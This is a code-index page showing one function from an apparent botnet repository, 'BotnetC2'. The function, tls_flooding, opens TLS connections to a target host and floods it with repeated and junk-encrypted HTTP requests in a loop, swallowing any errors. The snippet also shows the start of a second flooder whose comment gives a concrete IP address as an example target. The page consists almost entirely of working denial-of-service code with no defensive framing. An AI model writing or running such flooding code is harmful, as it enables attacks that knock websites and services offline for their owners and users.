MCPcopy Create free account
hub / github.com/Hex1629/BotnetC2 / tls_flooding

Function tls_flooding

BOTNETc2/bot.py:68–89  ·  view source on GitHub ↗
(ip,host,port,type_attack,booter)

Source from the content-addressed store, hash-verified

66 )
67
68def tls_flooding(ip,host,port,type_attack,booter):
69 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
70 tls_sock = ssl.wrap_socket(sock)
71 url_path = generate_url_path(5)
72 tls_sock.connect((ip,port))
73 for i in range(int(booter)):
74 http_req = f'{type_attack} /{url_path} HTTP/1.1\nHost: {host}\n\n'.encode()
75 fernet_keys = Fernet.generate_key()
76 fernet_encryptor = Fernet(fernet_keys)
77 try:
78 tls_sock.write(fernet_encryptor.encrypt(http_req))
79 tls_sock.write(fernet_encryptor.encrypt(http_req))
80 tls_sock.write(fernet_encryptor.encrypt(http_req))
81 tls_sock.write(fernet_encryptor.encrypt(http_req))
82 tls_sock.write(http_req)
83 tls_sock.write(http_req)
84 tls_sock.write(http_req)
85 tls_sock.write(http_req)
86 tls_sock.write(http_req)
87 except:
88 pass
89 tls_sock.close()
90
91def attack_pyflooder(ip,host, port,type_attack): # .PYFLOODER http://51.159.30.249 80 1
92 url_path = generate_url_path(5)

Callers

nothing calls this directly

Calls 1

generate_url_pathFunction · 0.70

Tested by

no test coverage detected